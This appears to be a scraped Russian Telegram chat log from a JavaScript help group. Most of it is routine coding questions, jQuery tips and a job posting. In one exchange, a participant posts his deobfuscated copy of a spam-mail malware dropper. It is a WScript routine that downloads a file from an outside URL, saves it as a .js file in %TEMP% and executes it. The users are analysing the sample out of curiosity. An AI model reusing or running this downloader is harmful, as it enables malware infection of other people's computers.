
Aleksey
16.05.2018
07:23:19

Денис
16.05.2018
07:24:34
А смысл тогда, мне это в спам пришло, начал ради интереса колупать. если этот скрипт закачать на virustotal куча антивирусов ругаетсяна него.

Pavel
16.05.2018
07:30:40

Максим
16.05.2018
07:30:54
привет народ! помогите плз. Есть рекурсивны объект с неизвестным уровнем вложенности:
a = {
b: [1,2,3];
a: {
b: [2,3];
a: {
b: [1,2,3,4]
}
}
мне надо посчитать количество элементов в свойстве b на всех подуровнях объекта a

Google

Максим
16.05.2018
07:31:51
скажем передал в функцию a (второго уровня), на выходе получил: 6
передал самого верхнего -> 9

Artyom
16.05.2018
07:33:02
const calc = (obj) =>
obj.b.length + (obj.a ? calc(obj.a) : 0)

Максим
16.05.2018
07:36:25
ща попробую...

Aleksey
16.05.2018
07:42:28
А смысл тогда, мне это в спам пришло, начал ради интереса колупать. если этот скрипт закачать на virustotal куча антивирусов ругаетсяна него.
! function(t) {
var e = WScript.CreateObject("WScript.Shell"),
r = e.ExpandEnvironmentStrings("%TEMP%") + "\\" + "512773",
i = 'MSXML2.ServerXMLHTTP',
n = WScript.CreateObject(i),
o = 'ADODB.Stream',
c = WScript.CreateObject(o);
try {
n.open("GET", "http://static-view.club/663479386965666e6834626637746573616665346e6b/hdiwi75332jdarv65341/", !1);
n.send();
if (200 == n.status) {
c.open();
c.type = 1;
c.write(n.responseBody);
if (c.size > 1111) {
c.position = 0, c.saveToFile(r + ".js", 2);
try {
e.Run(r + ".js", 1, 0)
} catch (t) {}
}
c.close()
}
} catch (t) {}
}();

Денис
16.05.2018
07:43:29
понял что он скачал, но что дальше с ним сделал
что то создается типа 512773.js но с каким содержимым

Aleksey
16.05.2018
07:44:35
руками выполнил поиск-замену чисел. Осталось куча мусора в виде не используемых переменных. Отдал на https://jscompress.com/, затем на http://jsbeautifier.org , выполнил руками элементарные вещи типа
String.fromCharCode(65,68,79,68,66,46,83,116,114,101,97,109)
и вот результат
Я уже ранее здесь утверждал, что обусификаторы для JS мусор. Логику всегда можно будет достать.

Денис
16.05.2018
07:47:43
да а конечный то какой результат этого скрипта?!

Aleksey
16.05.2018
07:48:41

Денис
16.05.2018
07:48:44
он в папке TEMP создаст файл 5112773.js и что дальше, что там внутри будет

Павел
16.05.2018
07:49:02

Денис
16.05.2018
07:49:14
не могу, я под линуксом сижу

Google

Павел
16.05.2018
07:49:28
и?

Денис
16.05.2018
07:49:30
виртуалку заведу для оптов попробую ))) но пока не понятно

Максим
16.05.2018
07:51:05
спасибо

Aleksey
16.05.2018
07:51:15
сейчас по ссылке заглушка с майнкампф. Ранее должно быть был дропер вируса или Пети какогото.

Павел
16.05.2018
07:51:49

Денис
16.05.2018
07:52:34
Я не программист, это мне на почт в спам пришло, вот и начал ради интереса колупать файл
всего осилить не смог вот и пошел в телегу помощь искать
правильно понял что заместо заглушки должен был скачаться какой то вирус ?

Artyom
16.05.2018
07:55:20

Aleksey
16.05.2018
07:55:34
по HTTP можно узнать время модификации на сервере?

Evgeniy
16.05.2018
07:57:06
Ребята, как узнать какой плагин тянет в зависимости phantom.js при установке npm install

Artyom
16.05.2018
07:59:02

Evgeniy
16.05.2018
08:00:38

Artyom
16.05.2018
08:01:31
Должно показать

Evgeniy
16.05.2018
08:01:59
Попробую yarn'ом

Artyom
16.05.2018
08:02:18
Попробуй ll and la

Evgeniy
16.05.2018
08:03:08
во время установки зависимостей, такая штука
PhantomJS not found on PATH
Downloading https://github.com/Medium/phantomjs/releases/download/v2.1.1/phantomjs-2.1.1-linux-x86_64.tar.bz2
Saving to /tmp/phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2
Receiving...
[========================================] 99%
Received 22866K total.

Google

Артур
16.05.2018
08:03:42

Vladimir
16.05.2018
08:13:58

Dead
16.05.2018
08:37:00
а кто то пишет автотесты на js?

Cheshire
16.05.2018
08:47:06
как через js задать url backgpund-image

Vladimir
16.05.2018
08:49:08
jq
$(this).css('backgroundImage', 'url(…)');

Vee
16.05.2018
09:15:47
Всем Здаров
Просветите, кто шарит..
За что отвечает jquery-1.8.3.min.js и на что в сайте (no CMS) повлияет его отключение (напр. отключен cdn на котором он размещен)?
thanks )

Pavel
16.05.2018
09:16:16
все что его юзает сломается - логично же
я думаю что у вас просто не загрузится сайт с кучей ошибок в консоли) или как вариант интерактивность не будет работать ( в лучшем случае )

Vee
16.05.2018
09:16:56

Pavel
16.05.2018
09:18:07

Павел
16.05.2018
09:34:23

Vee
16.05.2018
09:37:21

Yury
16.05.2018
09:41:42
типо так http://jquery.page2page.ru/index.php5/%D0%9F%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_jQuery_%D1%81%D0%BE_%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%BD%D0%B8%D1%85_CDN


Анастасия
16.05.2018
10:06:39
#JavaScript #Reactjs #Websockets #Rest #hr #вакансия #Москва #frontend #backend #blockchain
город: Москва
форма работы: офис
занятость: фултайм
зп вилка: от 180к до 250к ?
?Xena Exchange -профессиональная торговая платформа для профессиональных трейдеров и институциональных инвесторов.
❗️❗️❗️Находимся в поисках: Senior React.js Developer
▪Ты – наш идеальный кандидат, если:
- Умеешь качественно верстать;
- Отлично знаешь JavaScript (ES5/ES6);
- Понимаешь как правильно готовить React;
- Знаешь как общаться с backend-ом через REST и WebSockets.
- Разработка UI с вниманием к деталям и стремлением создать отличный UX;
- Разработка финансовых индикаторов и аналитических инструментов для трейдинга.
▪Ты еще более идеален, если:
Имеешь опыт работы с финансовыми технологиями (торговые платформы, финансовые рынки).
Твои задачи:
- Разработка UI с вниманием к деталям и стремлением создать отличный UX;
- Разработка финансовых индикаторов и аналитических инструментов для трейдинга.
Мы предлагаем:
- Интересные задачи: создание торговой платформы в передовой отрасли, возможность применить и прокачать скилы в создании высоконагруженных сервисов и классных интерфейсов;
- Драйвовый коллектив единомышленников, современный технологический стек, отсутствие бюрократии, широкий простор для творчества и роста;
- Щедрое вознаграждение за качественную работу + % после реализации;
- Офис в центре Москвы;
Возможность самостоятельно выбрать технику для работы.
за подробной информацией го в личку @anastyasha163


Nikita
16.05.2018
10:57:56


Анастасия
16.05.2018
10:59:52
неа!это профессиональная платформа для трейдеров. в настоящий момент заключены договоренности с банками о сотрудничестве..здесь мы говорим про допиливание платформы и поддержание ее работоспособности в дальнейшем)

Nikita
16.05.2018
11:01:55
есть помоему небольшие проблемы у них))))

Google

Nikita
16.05.2018
11:03:50
два горизонтальных скрола на лендинге, свидетельствует о большом объеме продланной работы, рекомендую

Anton
16.05.2018
11:05:12
есть одна либа для драгндропа
в ней есть автоскролл
как задизаблить любой скролл на странице исключая скролл колесом мышки?

Nikita
16.05.2018
11:08:07
preventDefaultForScrollKeys: function (e) {
if ($rootScope.keys[e.keyCode]) {
$rootScope.preventDefault(e);
return false;
}
},
disableScroll: function () {
if (window.addEventListener) { // older FF
window.addEventListener('DOMMouseScroll', $rootScope.preventDefault, false);
}
window.onwheel = $rootScope.preventDefault; // modern standard
window.onmousewheel = document.onmousewheel = $rootScope.preventDefault; // older browsers, IE
window.ontouchmove = $rootScope.preventDefault; // mobile
document.onkeydown = $rootScope.preventDefaultForScrollKeys;
},
keys: {32: 1, 33: 1, 34: 1, 35: 1, 36: 1, 37: 1, 38: 1, 39: 1, 40: 1}
ну соответственно вешается куда нужно лень было исправлять

Admin
ERROR: S client not available

Anton
16.05.2018
11:18:11
так не получится наверное
там либа скроллит контейнер когда элемент который draggable находится у верхнего или нижнего края контейнера
наоборот как сделать то понятно - задизаблить колесо мыши просто
но тут надо задизаблить весь скролл, кроме как по колесу мыши

from
16.05.2018
11:27:45
А какой-то стайлгайд говорит о том, какой стоит синтаксис для css переменных использовать? Кебабкейс или кэмелКейс?
--some-var: val;
or
--somVar: val;

Сергей
16.05.2018
11:31:49
Бл,не могу сделать кастомный скролл для сайта...

Illia
16.05.2018
11:41:11
И не делай
Это зло

from
16.05.2018
11:59:39
Это зло
в целом эгри, тем не мнеее помнится плагинчик perfect-scrollbar всегда на удивление хорошо работал

Roman
16.05.2018
12:04:43

from
16.05.2018
12:06:59
даже под мак?
ну без rubber band эффекта конечно, но сами скроллбары как раз в точности как в маке

Roman
16.05.2018
12:07:45
ну такое. хорошо что вышло все это из моды
внешний вид это одно, а вот нестандартное для платформы поведение - это уг

Serg
16.05.2018
12:10:11
Почему когда я пишу так:
window.collections2 = window.collections1;
И произвожу действия с
window.collections2
, то они отражаются и на
window.collections1
?

DetyaJah
16.05.2018
12:10:11
Всем привет.
Помогите разобраться.
https://repl.it/repls/PeacefulSmoothCase
как должно быть, если .services_ul имеет класс active то при нажатии на любую точку на экране, он убирается
Но что то не так. Даже в консоль ничего не пишет(
При том, что класс этот дбавляется ранее по клику.
При загрузке документа его нету.

Pavel
16.05.2018
12:11:53

Google

Pavel
16.05.2018
12:12:14
https://learn.javascript.ru/object-reference
прочитайте

Serg
16.05.2018
12:24:27
прочитайте
Но я же вначале window.collections1 = []; объявил. Это должен был быть массив объектов, а не объект.

Iosif
16.05.2018
12:24:57
и не только я

Serg
16.05.2018
12:26:15
я прочитал. там говорится что так происходит если это объект. Но это не объект это массив.
что с массивами такая же байда?

Iosif
16.05.2018
12:27:08

Serg
16.05.2018
12:28:35
Типа если в массиве есть хотя бы 1 объект, то этот массив становится ссылочным?

from
16.05.2018
12:28:42

Serg
16.05.2018
12:28:47
а)

Vlad
16.05.2018
12:29:26
ахахаха

Serg
16.05.2018
12:30:17
3 года программирую на JS только щас заметил, что бывает какое то ссылочное г-но.

from
16.05.2018
12:30:45
мммм....

Vlad
16.05.2018
12:31:26
как-то слишком слабо для трех лет